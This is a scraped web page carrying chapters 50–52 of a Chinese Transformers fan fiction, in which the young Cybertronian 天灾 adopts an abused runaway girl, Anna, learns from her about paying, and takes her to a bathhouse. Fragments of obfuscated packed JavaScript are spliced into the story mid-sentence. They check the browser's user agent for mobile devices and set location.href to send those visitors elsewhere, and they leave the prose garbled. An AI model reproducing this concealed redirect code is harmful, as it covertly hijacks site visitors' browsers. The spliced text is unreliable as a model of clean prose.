l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190731|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副驾驶位上绑好了安全带。 这种天气下他不敢冒险再让身体不佳的女孩下车。 “你想看吗?”在此之前他还从未想过自己用来迷惑塞拉斯和其他敌人的语调还可以用来哄一个人类幼生体。 如果你在一天前这么告诉天灾,他只会嘲讽你未免太高看人类,或者嘲讽你是否做了怪梦该去清清你的数据冗余,但现在,好吧,起码他的机体不光可以用来战斗。 他尽力保持着车厢内的平稳性,变换为了站立的姿态,浑身的零部件在女孩瞪大的双眼前变形重组,装甲翻飞,随着变形齿轮激活的金色光芒,赛博坦人的机体嗡嗡作响,领袖级的机体设计第一次展示出它应有的机械美感。 “那……那很……”安娜一瞬间失了声。 她坐在油罐车远离地面的胸口中,从透明的车窗内能够看到远处的山峰以及她脚底九米高的地面。 “这真是……” 天灾等待着女孩的评价。 “太神奇了!!!” 安娜惊喜地叫出声,女孩的脸上终于不再流落出悲伤。 “我能看看你吗?求你?” 安娜第一次露出这样激动的表情来,她依然紧紧抓着自己的背包,泪水还挂在眼角但是波澜不惊的蓝色眸子却再次迸射出光芒来。 “我可以看看你吗?”她再次恳求道。 “不可以,”天灾憋笑的声音传出来,“外面太冷了,而我不想拿你的身体素质冒险。” 在女孩失落的眼神中,他又慢慢地开口道:“但我可以给你看我的机体扫描图。” 如果他们足够熟悉,那么安娜该在此时吐槽油罐车不合时宜的恶趣味,但他们刚刚熟悉,所以……安娜只是期待着,用那双崇拜的眼睛盯着天灾的胸口车窗。 下一秒,一个赛博坦人的三维立体图出现在女孩面前。 安娜再次笑了起来,听起来快乐多了,“你真是漂亮!” 她大叫道。 “一个不可思议、漂亮的外星人!” 从未听过的夸耀让天灾久违地有些不好意思。 他匆匆收起了自己的三维图,怀疑自己是不是有些太自恋了。 他轻轻咳嗽一声,掩盖了自己的窃喜。 对嘛,怎么说他也是继承了威震天与擎天柱的火种,他的两个sire可都称不上丑陋,他怎么也差不到哪里去嘛。 但表面上油罐车还是一副理所应当、不以为然的冷静模样。 “接下来你想去哪里?”哄好了女孩,他问道。 虽然不管女孩说去哪他都只会送女孩去一个能被正常人类称作“家”的地方,或者至少是一个福利院,或者最不济,扔到汽车人基地去,他现在知道擎天柱绝对是一个老好人了。 而他数据库中对擎天柱的描述一定和威震天的反了。 他已经在纠正这个错误了。 “去哪里?”安娜疑惑地皱起了眉。 女孩踌躇着:“我觉得……” 一丝不好的预感。 哦人类,我发誓,如果你再说你想回去那个男人的房子,我发誓我会…… 没等油罐车在内芯说完,安娜率先打断了他。 “我想我无处可去了。” 什么? 安娜依然有一部分神经在为自己正坐在一个外星机甲身上激动,但有一部分,肯利·艾佛利杀死的那部分已经再次开始低落。 “我从家里逃走了,我回去的话爸爸一定会打死我的,而且……”她咬了咬牙,“我也不打算再回去了。那座小镇没有什么值得我留恋的。” “你可以把我送到隔壁的镇子,或者,任何一个没有人认识我的地方都可以。” “只是别再送我回去了……求求你……” 女孩低着头不敢抬起来。 良久,小油罐车才悠悠出声。 “所以……你现在无家可归?” 安娜点了点头,肚子也适时开始咕噜噜的叫唤,她红了脸,好吧,也许还得先找个地方填饱肚子,而且她的脚踝也很痛。 “你需要一个地方休息。” “你还需要一个家。” 安娜沉默着再度点了点头。 下一秒,巨大的赛博坦人在女孩的又一声惊呼中再度变形成了油罐车。 一个大胆的、冒失的、很可能是个错误的想法闪现在油罐车的脑模块中。 他抓住了它。 尽管天灾的CPU尖叫着这有多么离谱,别说他能不能养活安娜,他连养活自己都还是个问题,但,嘿,今天他做主,所以没有人可以为此改变他的想法。 救护车不行,K-19不行,他自己也不行。 所以他告诉女孩: “我有一个好主意!” 下一秒,油罐车满速奔驰而出。 “也许我们可以成为彼此新的家人!” “什么?!” 女孩惊讶的声音被掩埋在油罐车引擎的轰鸣中,但紧接着,一阵欢快的笑声打破了天灾的独奏。 “为什么不呢?” 女孩大声笑着,夹杂着残留的泪水,她抱着自己的书包和油罐车的安全带回应。 “我们来做彼此的家人!” 她不需要爸爸,或者任何试图占有她的人,她可以自己找到自己的家人。 一个外星人,她的妈妈梵妮,再加上安娜,这听起来就是一个家的感觉。 所以为什么不呢? 起码她知道身边的这个赛博坦人不会伤害自己。 这就是安娜·艾佛利所需要的一切。 …… 夜晚的冷风中,一人一车驶向谁也不知道的未来。 “你还没告诉我你叫什么。”风声中,女孩的声音遥遥传来。 “天灾。”年轻的赛博坦人回答。 “你可以叫我天灾!” 50.安置新家 距离佛莱斯特小镇20公里外的加油站中,一辆没有任何标记的油罐车在清晨的第一缕阳光透过车窗时缓缓启动。 车体发出短暂的嗡鸣,加油站的工作人员打着瞌睡,丝毫没有注意到停车场里那辆多出来的漆黑油罐车正如昨晚突然出现一般再度无声无息地消失。 只见油罐车巧妙地躲过所有监控,平稳地驶入了小路。 没有得到合理呵护的路面残留着石子与碾压的凹陷,然而油罐车的驾驶员显然具有十分高超的驾驶技术,没有让剧烈的颠簸传递到温暖的车厢。 内饰中亮起的仪表盘也早在昨晚就调低了亮度,变换的呼吸灯随之熄灭,唯二的两个驾驶位巧妙地拼接在一起放平,为车位上睡着的女孩提供了一张舒适的临时床铺。 驾驶者尽力保证了平稳,但巨大的车轮依然在缺乏保养的荒野路面轰隆作响,好在即便如此嘈杂,躺在油罐车驾驶位上的女孩依然睡得香甜。 只是眼皮下快速转动的眼球表明了女孩在睡梦中也不得安稳,更让人担心的是她两个眼眶下浓厚的淤青和凸显的颧骨。 过往的糟糕经历在她身上留下的痕迹在昨晚的一番折腾后越发明显。 油罐车在驶入又一座小镇时悄悄发出了一声叹息。 毫无疑问,这辆油罐车就是昨晚成功“拐走”了一个人类的天灾。 如果这是一个童话故事,那么天灾会说昨晚就是故事的结局,即将死去的孩子得到了机械降神,于是从此他们手拉手走上了幸福之路。 但不,天灾会为此在火种中咒骂恶趣味的神明,这是炉渣的现实,所以这代表故事不会在幼生体遇见了同病相怜的同伴时结束。 故事依然在继续,得到了帮助的女孩和油罐车还有许多要思考的,这很麻烦,甚至不符合天灾一贯信奉的准条,但他并不后悔自己做出的举动。 如果他不带走女孩,他很确定安娜会死在昨天晚上。 这就像是一些参与过战争的机子老挂在嘴边的忠告和经验之谈——成年的人们做出决定往往要做出许多利益衡量亦或者利害取舍,但对于年轻人而言,一个念头就足以让他们为之付出行动。 而现在显然就是为没有经过思考就做出行动而付出代价的时候。 头脑一热后他们就得面对血淋淋的现实——他真的不知道该怎么养活一个人类幼生体。 作为一个赛博坦人,尤其是作为一个自身“降生”也不过三个月左右的赛博坦人,你不能奢望天灾对人类世界的认识比十岁的安娜更多。 普神知道当他自己都还处于一个受人牵制、被人无情租借的炉渣境地时要如何养活一个同样无依无靠的人类幼生体。 更别提安娜的机体……身体显然需要更多的后续护理。 比如,人类补充能量要吃什么? 他看过机械党的人食用过一些死掉的植物和动物,这代表他需要进行一些狩猎吗? 和赛博坦人替换装甲一样,女孩显然还需要一些御寒的衣物。 而且她机体上的红肿以及面甲上的痕迹要如何处理? 小油罐车光是待办事项就列出来了一二三四五六条。 啊,他也不能忘记安娜需要的不光是一个同伴,还有庇护所。 一间御寒、温暖、拥有女孩所需的一切的房子。 这么一想,也许汽车人比他所想的要更加有用,毕竟这样的人类幼生体他们手里有三个。 而天灾光是“拐走”了这一个就已经开始提前焦头烂额了。 让他再重申一遍,他真的不知道该怎么养活一个人类幼生体。 女孩和油罐车的全部人生加起来都没达到人类社会的成年标准,而就是这样的两个幼生体现在正准备干一票大的。 比如试试同时养活自己和对方。 这听起来像是一个不合格的地狱笑话。 好吧,他不该开自己的玩笑,也许下次他可以找到更好的比喻。 小油罐车默默呻吟了一声,在地图中标记了几个人类的聚集地。 谁知道呢,也许他能在女孩苏醒前找到一些衣服或者食物,人类多的地方总会有堆积物资的场所。 时钟停在五点五十六分,太阳刚刚升起,城镇的居民们刚刚苏醒,油罐车低调地驶过贾斯帕的界牌。 后视镜悄悄后移,照出睡在驾驶位上的安娜。 一些脏掉的衣物在昨晚入睡前被脱掉扔在了女孩脚底,油罐车大功率地开了一整晚的空调确保了她不会因此着凉,而安娜盖着自己的一件外套尽可能地蜷缩在天灾紧急拼凑出来的“床”上,像是溺水的人一般死死抱着自己胸前的书包。 是的,他们显然需要一些衣物和食物。 天灾数了数自己子空间内的能量块以及能量晶体,决定先帮安娜解决吃饭问题。 …… 这就是贾斯帕的一家便利店为什么突遭抢劫的原因。 店主在电视台的采访前一脸困惑。 电视中,便利店的门面损坏严重,店铺后门连同整块后墙都被彻底压塌,痕迹酷似爆炸,警察现场勘探却没有发现任何火药残留,更诡异的是面对这种规模的爆破,店主的钱财却分文未丢。 何止是分文未丢,保险柜连同收银机都完好无损,但店主损失了一个冰柜、冰柜中的食物、一个食品货架以及他的绿皮大衣。 损失其实并不小,但如果结合现场,在这样规模的爆破抢劫下店主却只损失了这点儿东西,基本可以称之为幸运了。 只是包括店主以及警探在内的所有人都对为何没有火药反应以及为何没有任何人类的入室痕迹百思不得其解。 店主本人对货架被窃以及店铺被毁毫无心痛感,只是对窃贼偷走了他花大周折从x国进口而来的棉大衣的行为大加斥责。 显然“棉大衣被偷走”这一事实对店主而言无论是侮辱性还是伤害性都远比他的其中一家连锁便利店被毁要大。 不少人一边看电视一边大笑出声,只当这是电视台又一次在无事发生的日常中捏造出来的虚假报道。 另一边,罪魁祸首本人也在清点自己战利品的过程中等来了安娜的悠悠转醒。 “唔……” 头一次睡了个好觉而没有被肯利·艾佛利强行从床上揪起来干活的女孩舒坦地伸了个懒腰,发出了小小的梦呓。 女孩天蓝的眸子睁开时还有些恍惚,入眼是油罐车极富科技感的内饰让安娜还有些迷糊的脑子一下警惕了起来,双手防御性地抱在了胸前。 “你醒了?”天灾说。 “天灾?”安娜迷茫地转了下头,昨晚的记忆也逐渐回笼,她有些不好意思地放松下来。 “嗯,是我。” “谢谢你昨晚……” 女孩的道谢停留在嘴角,天灾先一步打断了他。 “你的机体……身体感觉怎么样?” “很好!”女孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205646|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐起来,揪着自己的衣角,“谢谢你昨晚让我在车厢里睡觉,我已经很久没……我是说我睡得很好,谢谢你。” 安娜看起来有些局促,她此前从未如此麻烦过任何人,而且她很清楚自己现在看起来有多糟糕。 她身上的味道很难闻,她的脸色看起来也很不好,脑袋隐隐发昏,肚子也有些疼,更别提她昨天不小心摔在雪地里,那些雪花一定是化在衣服上了,而这些痕迹又沾上了油罐车的车座。 她不应该弄脏天灾的驾驶座,但她昨天太困了,新朋友在行驶时的嗡鸣和情绪大起大落的波动让她在意识到这点之前就睡过去了。 安娜知道自己不该怀疑新朋友的承诺,但……但她真的给他添了很多麻烦。 她甚至没察觉到自己一直待在油罐车的车厢里会不会让天灾感觉到不适应。 毕竟他是能变成人型的外星人,被强迫一直保持在车的形态是不是就和人类一直趴着一样? 哦天呐…… 光是想到这一点就已经足够安娜惶恐。 没等天灾再询问,安娜已经一骨碌从驾驶位上坐了起来,身上的短袖扭曲在一起,女孩不得不先把衣服一件一件捋顺,顺带收好了昨晚被她丢在油罐车脚垫上的脏衣服。 “安娜……” “安娜。” “安娜·艾佛利!” 天灾猛地呼唤叫回了安娜的理智。 “额!是的,是的我在。”女孩整理的双手一下子僵硬住了,她的大脑告诉她她已经逃出了肯利·艾佛利的掌控,然而她的身体却没有。她下意识地停下手上的动作,等待即将到来的责骂与毒打。 “你……”天灾注意到了安娜的异常,提醒自己对方也不过是个幼生体,自己的语气不能和面对救护车时一样。 安娜的表现几乎让他的火种一紧,他不想承认,他在安娜的身上看到了…… 自己的影子。 渣的。 “你不必收拾,”他说,“我的机体有自洁功能。” 看着女孩依然愧疚的神情,他又补充了一句,“而且这并没有给我添麻烦,你不必害怕我。” 他柔和地说:“我是你的家人,像昨天我们承诺的那样。” “家人……?”安娜重复,眸子里像是才意识到这点一样亮了起来。 “没错,家人。” “这是……这是真的!”安娜小声说道。 而她的新家人不厌其烦地附和着。 那道声音每应和一次,女孩脸上的喜悦便更胜一筹。 直到安娜确认这一切不再是她所做的天马行空的梦境。 “对不起,”她坐在驾驶位上,努力平复下心情,只是脸上的神情依然有些涨红,“我想我有些过于激动了。” “我以为……我以为这是梦。” 天灾笑了一声,“我想我昨天晚上并没有比你更平静。” 随后,他催促安娜尽可能地穿好衣服。 “Girl,比起这个,我想你现在可能更想补充能量。” “可是我……” “我是说我的背包里还有一些……”女孩一边下车一边疑惑地说,然而话语停在喉咙。 安娜的一只脚还悬在半空,动作卡在此处,她目瞪口呆地看着眼前的“一片狼藉”。 “这些东西是哪里来的!?” 她指着眼前东倒西歪、散落一地的“赃物”惊讶地大喊。 51.没关系,现在你有我了 女孩下车的动作停在半空,她惊讶地捂住嘴,眼睛里透露出大大的困惑与震惊。 只见在森林深处的空地上,一个东倒西歪的冰箱夹杂着划痕倒在地上,比这更混乱的是一架看不出形状的铁质货架,用来悬挂食品的栏杆拧成了一团,活像是某种黑色的行为艺术品,货架上的食品更是散落一地。 面对安娜的疑惑,小油罐车骄傲地说:“我从人类那里拿的。” “拿的?你的意思是……” “哦天灾……”女孩沉重地叹了口气,露出了一个无奈又苦恼的笑。 她想要下车却再次忘却了自己扭伤的脚踝,左脚落地的瞬间疼痛从再度恢复运作的神经系统传递到大脑,安娜发出了一声惊呼随即就要摔倒在地。 好在一双坚硬的手掌及时接住了她。 “小心。” 安娜抬起脚掌,乱糟糟的头发黏在她的脸上,她抬起头,黑色的油罐车不知何时变换成了人形,用自己的手掌托着她小小的身体。 天灾的面甲上依然戴着自己的战术口罩,语气僵硬,关心的话语不知为何到了他的嘴里听起来就更像是在发脾气。 然而安娜能感受到自己抓住的金属手掌的动作有多么小心翼翼。 这就是她的新家人。 安娜笑了笑,拍了拍担心的天灾。 “好吧,我们一会儿再谈……这些问题。” “现在,可以麻烦你把我送到冰柜那边吗?就是那个倒在地上的铁盒子?” 天灾点了点头。 托举着她的油罐车脸上的神情相当沉重,看看那副严阵以待的面甲,如果此时他带着这幅表情走出去,恐怕没人会相信他只是在扶着一个受伤的女孩而不是正在拆除一个足以毁掉城市的炸弹。 女孩柔和下来眉眼,看着小油罐车将自己安然无恙地放在了冰柜上。 天灾松手的瞬间,她立刻娴熟地打开冰柜门,刮起冰箱侧壁上的冰碴。 漆黑的机甲半跪在她身后,面露不解。 女孩一边将刮下来的冰块与冰碴绑在自己的脏衣服中一边向着迷惑的小油罐车解释: “这些冰块可以缓解淤青和扭伤,虽然会有些难以忍受,但这样会好得更快。” 随着女孩脱下鞋子,冰块被绑在脚踝上,安娜也第一次收起了脸上的轻松,她皱着眉头看着地上的狼藉,又将目光转向了一脸茫然的赛博坦人。 “天灾。” “……嗯?”听到自己名字的小油罐车歪了歪头,看起来仍然对自己做了什么一无所知。 安娜深吸了一口气,学着自己的母亲——梵妮的样子叉起了腰,只是坐在冰箱上的动作让她的气势弱了不少,好在即使效果不佳,被她“斥责”的机子依然缩了缩脖子。 “你有好好付钱吗?”她问。 “‘付钱’?那是什么?”黑色的大型机跪在地上不解地竖起了听觉天线。 付钱,这是一个新的概念。 对于原生体而言,他所需要的东西要么是自己抢来的,要么是自己找到的,机械党从不要他“付钱”,K-19……量产士兵从不要他“付钱”。 他的记忆模块中记录了他诞生以来的所有数据,而他所需要的一切都是自己从某人手中交易而来。 正如他用自己的保密换取了量产们手中的能量,用自己的尊严换取了机械党手中自己的自由。 他所需要的一切从未需要向某人“付钱”。 所以,“付钱”?这又是什么?他的数据库中从未记录过这个概念。 天灾如实地摇了摇头。 安娜也露出一副“果然如此”的神情,轻叹,“听好了哦天灾,如果我们想要什么东西,我们要付给他们钱才可以得到这样东西。” “否则就叫做‘偷’。” 油罐车看起来更僵硬了。 “我没有偷。”他紧皱眉头,非常不悦,“这有违……我的准条,不是一个战士所为。” 安娜绷不住表情,被小油罐车脸上的认真逗笑了。 “没关系,我们晚一点儿可以去给店主道歉,我背包里还有一些钱,我们可以补付给他们。” 天灾看起来松了一口气,扶住了从冰箱上跳下来的安娜。 “好了,让我们看看这里有什么,算算我们该付给店主多少钱。”安娜一边扶住油罐车的一根手指一边蹦蹦跳跳地拿出自己的书包。 “奇怪……我记得钱……”女孩翻找了几遍都没从书包夹层中找到自己从家里偷带出来的纸币。 “你是说这个吗?”天灾从自己侧胸的位置掏出来了一小捆绿色的纸张。 “对,是这个。”安娜松了口气,她刚刚真的以为自己把钱搞丢了,但是随即她想起来哪怕这些东西丢了也不会遭到家人的毒打,这让安娜的心情再次好了起来。 应该是昨天晚上放在天灾的驾驶位上忘记收回去了。 又一个粗心的举动,安娜暗自吐槽自己,不过,嘿,反正现在只有她和天灾,没有人会为此谴责她们两个! “这就是我们的钱,你可以用这些东西和卖东西的人等价交换。” 她将天灾另一只手掌中小小一捆的金钱数了一遍又一遍,随即才小心翼翼地放回了书包中。 “除非商品上写了免费的牌子,否则不可以不取而拿哦。” “……I see.” 小油罐车意外得老老实实地听了话。 女孩对自己新兄弟的表现满意地点了点头,随即一边收拾起地上的狼藉一边开始默默算钱。 完全变形的货架显然是完全报废了,包装零食与速食三明治散落一地,女孩跪在地上想要收拾的时候天灾将自己“偷”来的绿色大衣送给了她。 这让小油罐车收获了女孩一句惊喜的感谢。 以及,小油罐车不情不愿地承认,被那样一双充满希望的眼睛注视的感觉并不错——远比看到塞拉斯打量的眼神更好。 当女孩坐进他的车厢重新整理自己身上的衣服时,天灾很快收拾好了散落一地的商品。 让这样一个幼生体跪在雪地上同样不是天灾的处理器愿意看到的画面。 安娜出来的时候眼前已经焕然一新,大部分食品都被塞入了冰箱中,报废的货架也已经不知所踪。 天灾希望女孩不要问自己为什么货架没了,不然他就得坦白他把那个可怜的人类制品扔向了哪个方向。 好在女孩只是挑了挑眉,没有过多追究。 在女孩清点商品价格的时候小油罐车也非常满意安娜的新装扮。 女孩上衣层层叠叠的臃肿短袖已经被脱了下来,取而代之是两件稍厚的外套被套在了冬衣的里面,下身的裤子略短,鞋子也略显陈旧,但是天灾想他们会慢慢修正这些问题的。 关键是女孩的活动已经不再因为身上衣服的轻薄而受限,安娜也不会再因为缺少衣物而在天灾没有注意的时候被冻死。 与此同时,安娜数了数商品又暗自比较一下自己手中的金额,突然就觉得有点儿头大。 “哦……哦……这……嗯……我想我们的钱可能不够……” 她叹了口气,小小的人脸上挂满了苦恼,“我想我们可能要写欠条了。” “欠条又是什么?”小油罐车再次发问。 坦白来讲,此时的对话活像是学龄前儿童的扫盲班,但是安娜老师没有任何不耐烦的迹象,尽管自己也对此一知半解,但安娜依然耐心且详细地向对这些知识一无所知的天灾进行了解释。 “所以……”如果说刚刚小油罐车还仅仅局限于对自身偷盗行为的不安,现在的天灾就看起来真的是在为自己和安娜是穷光蛋的现实而担忧了。 “我们现在什么都不能买吗?” “恐怕是的。” 一人一机陷入了沉默。 “好吧!开心一点!”最终是乐观的安娜先打破了他们愁云惨淡的气氛,“我们先写好欠条,然后等我们赚到钱再慢慢还回去就可以了!” “现在我们只拿我们需要的。” “我们需要的?” “没错。” 女孩煞有其事地点点头,“多的我们吃不掉,还会造成浪费,所以我们只拿我们需要的,比如……我现在只会拿几个三明治和几瓶水,这样我们几天内都不再需要买别的东西了!”她开朗地说,将食物放进书包,天灾自然地接过她手里的东西放进自己的子空间。 “而且我们现在也买不起。”末了,安娜小声补充了一句。 “嗯哼。”小油罐车不置可否。 “不过现在我已经很满足了,”女孩转过头,盯住天灾没有被遮掩住的明亮光学镜,“我还没有正式地向你说过……” “但谢谢你。”安娜一蹦一跳地靠近赛博坦人半跪在地上为了听清女孩的话语而低下的头雕,她轻轻的拥抱让天灾愣在了原地,赛博坦人的战术面罩在女孩拥抱上来的一瞬间自动收了回去。 “谢谢你救了我。” “谢谢你愿意成为我的家人。” “谢谢你为我做的这一切。” “我和你度过的……短暂的时间,远比我逃走时所奢望的最美好的愿望还要好。” 远比安娜·艾佛利九岁的生日要好。 远比安娜·艾佛利十岁的人生更好。 远比本应死去的安娜·艾佛利所奢望的更好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228858|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这几乎感觉……就是家了。 人类的脸颊贴上赛博坦人的面甲,女孩在金属制的镀层上感受到了属于另一个生命的温度。 钢铁的巨人也有心。 这个小小的发现让将头埋在两人拥抱之间的女孩悄悄笑了起来。 天灾的引擎维持着低功率的转动,雪地中只剩下一黑一绿两道影子,安娜等待着回应,然而在她说完后,天灾久久没有回神。 人生头一次被拥抱的原生体眨眨光学镜,神经回路源源不断地将属于碳基生命的触感传送回他的CPU,浑身的管线似乎都在发紧,他想要说些什么然而发声器张张合合几次都没能成功按照自己的心意启动。 这样的拥抱也是陌生,就像女孩的温度、话语、知识,对于原生体都是陌生的,就像他第一次遇见他的sire们,威震天和擎天柱是陌生的,和同族的针锋相对也是陌生的,也像是他第一次遇见K-19和量产机们,被接纳与被照顾是陌生的,和K-19的平等相处也是……陌生的。 他的CPU没办法处理这个,他……他不是为了体验这个而降生的。 太多的不熟悉、太多的陌生,几乎让他失去掌控感的感觉,他并不喜欢。 但他为什么……做不出任何抗拒? 有那么一瞬间他以为自己会条件反射地开枪,但……没有。 他的机体没有像他所想的那样甩开女孩冒昧的举动,有那么几秒他只是放任了这种感觉。 良久,天灾才允许自己从这种感觉中剥离,慢吞吞地找回自己的发声器,他伸出手迟疑地拍了拍女孩的后背。 “嘿,”他轻声说,“这就是家人该做的,不是吗?” 这就是安娜教给他的,最重要的东西,不是吗。 安娜“噗嗤”一声从他的面甲上离开了,她擦了擦眼角的泪水,“是的,我猜家人是这样的。” “而且我……”小油罐车抬起头雕,欲掩弥彰地咳嗽了一声,掩盖了自己的心虚,“我想我应该更小心一些,人类的这些造物显然比我所想的要更加脆弱。” 再给他一次机会,他能把这些东西更完好无损地带回来而不是……像现在这样。 “你也帮了我很多,”他再次将光学镜转向地面那个小小的棕发姑娘,“作为……战争武器诞生,我的CPU中并不具备这些常识。”他认真地说,“你帮我补全了这部分空缺。” “所以,这种感觉应该是双向的。” “如果这能让你感到更有安全……这应该算是我们之间的交易。”猩红的目镜带着一丝躲闪,原生体的人生中从未被免费赠与过什么,就像“付钱”与“欠条”一般,现在流淌在天灾火种中的这种感觉也是完全陌生的。 而太多的陌生,会带来不安,他将这一切转变为他用家庭和纽带和安娜交换知识,企图通过自己熟悉的方式驱逐这种不安,也寄希望于安娜会同样从中感到安全。 毕竟,交易是不可违背的。 从未得到过安全、从未得到过家庭的油罐车用自己唯一熟悉的东西将女孩也拉入自己的保护圈,告诉她她不会被抛弃,然而,安娜点明了他。 “这不是交易,天灾。”她毫不畏惧地沐浴在赛博坦人富有震慑力的目光之下,告诉天灾这些从未有人费心告诉过他的东西。 “因为你是我的家人,所以这些是我愿意无私与你分享的。哪怕没有交易、没有感谢,我也会这么做,因为我希望你作为我的家人感受到和我同样的感觉。” 天灾的发声器再次离家出走,听觉天线在不自觉地转动,微微后仰,表现出主人下意识的戒备,“这是……完全新的东西。”他干巴巴地说。 “哦……Silly。”安娜看着他没有被阻挡的面甲笑道。 “不过,没关系。”她闭上眼睛,用柔和的神情再次轻轻地拍了拍天灾伤痕累累的外装甲,像是一根羽毛扫过天灾的火种,抚平原生体焦躁的磁场。 “现在你有我了。” “那些没人教过你的东西我可以来教你。” “那些你没体会过的东西我可以带你体会。” 她站上油罐车的手掌,人类的额头轻轻抵住天灾的额头,人类的蓝色眼睛与赛博坦人猩红的光学镜对视。 “你不会再孤身一人了。” 良久,她才听到了漆黑的机甲小声的回应。 “我们都不会再孤身一人了。”他低声说。 “当然,天灾,当然。”安娜笑着说。 “现在,我想我们应该先将东西还给店长,对不对?” “嗯哼。” 安娜老师用引导的语气对着她面前的家人说道,而天灾报以同样的附和。 52.彼此照拂 是夜,贾斯帕一如既往地宁静、祥和,新闻报道中便利店的离奇事故没有得到居民们的恐慌,人们一如既往地在疲劳的工作过后返回自己的小家,和自己的家人交换一个亲密的拥抱然后品尝一顿或丰盛或简易的晚餐。 除了约翰·史密斯。 这个倒霉的男人此时徒劳地揉着眼眶试图说服自己再清醒一些。 他看看门外,确定自己真的没有做梦——那辆挡住了所有进出通道的巨大军用油罐车不是错觉,而眼前这个从军用车里跳下来的、还不到他大腿高的女孩正询问手里的钱够不够她洗一次澡。 哦天,约翰·史密斯觉得自己肯定发出了一声巨大的呻吟,但实际上他的嘴唇开合半天只发出了一小声如同橡皮鸭一般的嗫喏。 不过也不能怪他,从名字也能看出来,约翰本人也不过是个在贾斯帕讨生活的老实人。 好吧,约翰本人也承认他有一个非常非常烂大街的名字,但嘿,这里是贾斯帕,没有人会在意你的名字是否像碟中谍或者007里的专属假名,所以在约翰·史密斯46年的人生之中他过得还不错。 而过得不错的意思是他开了一家没多少人流量但是能够稳定收入的公众浴场、过着能维持温饱的生活、和一个他爱和爱他的女人结了婚,还有了三个乖巧听话的女儿。 这对于一个普通人来说就是最幸福的事情了,几乎。 而今晚,就是现在,约翰·史密斯迎来了他普通人生涯中的第一个“不同寻常”。 当那个看起来还没他小女儿一半高的小女孩红着脸轻轻叩响公众浴场的大门时,约翰·史密斯的意识甚至还没从睡梦中清醒。 毕竟现在是晚上十二点,这个点除了流浪汉,没有人会再来打扰他小小的休息。 他抱怨着流浪汉们的不解风情,按捺住脸上的不耐烦站了起来——直到此时他都还没意识到事情的严重性,毕竟他劳碌了一天,为了家庭而不得不将原本只在白天开放的浴场开成24小时营业,满脸疲惫,但他可还有三个女儿和一个妻子要养呢!所以他并不抱怨自己的工作而只是有些小小的不满。 然后,理所当然的,当迷迷糊糊的约翰百无聊赖地决定好好看看到底是街角的老强尼过来拜访他还是十字路口的小流氓尼特闻不下去自己身上的馊味决定来好好洗个澡的时候,店门口那占据了三个人身位的巨大玻璃门完完全全地被黑色填满了。 约翰的确恐惧了一会儿,他未回笼的意识以为他遭遇了诡异事件,但随即,他的第一反应意识到那是一辆油罐车,第二反应,那该死的是一辆军用油罐车。 哦遭了遭了遭了,考虑到本地治安和警署的糟糕形象,你不能怪那一瞬间约翰的惶恐几乎突破他的嗓子眼。 鬼都知道一辆军用车在这么晚的时候堵在你的店门口准没好事! 那一瞬间约翰连自己八岁的时候不小心压塌了邻居家围栏的事都在脑子里转了一遍。 油罐车的车门开启,他只来得及看见一些绿色一闪而过,玻璃门感应开合的瞬间,约翰下意识双手合十开始求饶。 “不好意思警官!我不该偷吃妈妈做的蓝莓果酱!我也不该压塌邻居的围栏!我家里还有几个孩子要照顾我妻子还等我回家睡觉求求您我没做什么坏事请不要逮捕我!” 他闭着眼睛一口气地说完,然而电视剧里会有特工举着武器对准他大喊“FBI!”的情景并没有出现,他偷偷睁开眼睛,只在自己的柜台前看到了一个面露尴尬、鼻尖冻得通红的小女孩。 这没有缓解他的紧张,一点也没有。 女孩穿着一件不太合身的绿色棉服,头发乱糟糟的黏在一起,浑身上下还散发出一股陈旧木板才会有的霉味,手指被冻得皲裂,脸颊上也带着水渍和泥土。 他有那么会儿不知道该作何反应,而女孩就在这时候坦然自若地从兜里掏出来一叠钱,按照店里收钱的留言板数给了约翰一份现金。 “嗯……”女孩踌躇了几秒,“我想洗一次澡,这些钱够吗,先生?” 看约翰没有回答,女孩面露担忧地又问了一遍,“先生?先生你在听吗?”现在她甚至对约翰露出担忧来了。 约翰看了看手里的钱,茫然地点了点头,将一次性洗浴用品递给女孩的动作几乎是下意识和本能的,实际上他根本没反应过来到底发生了什么。 “我想你可以用最里面那一间,热水是最足的。”他听到自己的声音这么说。 女孩松了口气,看起来放松了不少,但在女孩走进浴室前还是转过头有些忐忑地告诉约翰,她不会给他泄密,但建议他最好还是去向他的母亲和邻居为自己做了错事而道歉。 约翰又下意识地点了点头,直到女孩消失在走廊最里面,他才缓过神来。 “天呐……” 他一边喘气一边打量着门口的“拦路虎”,这可不是寻常会发生的事情,约翰看多了醉醺醺的酒鬼大着舌头要求赊账,也见过面露胆怯的流浪汉不好意思地递给他乞讨来的硬币,但一个女孩!一个坐着军用车的女孩拿着纸币在他的浴池消费! 哇哦。 他的意思是……看看那辆车! 那么大!还那么高!它看起来有两个自己高!他左右打量了一下——但其实没有这么做的必要,油罐车将他的店门口挡的严严实实,然后小心翼翼地挪到玻璃门前,隔着玻璃仔细地观赏起这地面巨物。 哪个x国男孩还没有个大车梦的,只是这车一看便价格不菲,约翰此生注定是无缘拥有了。 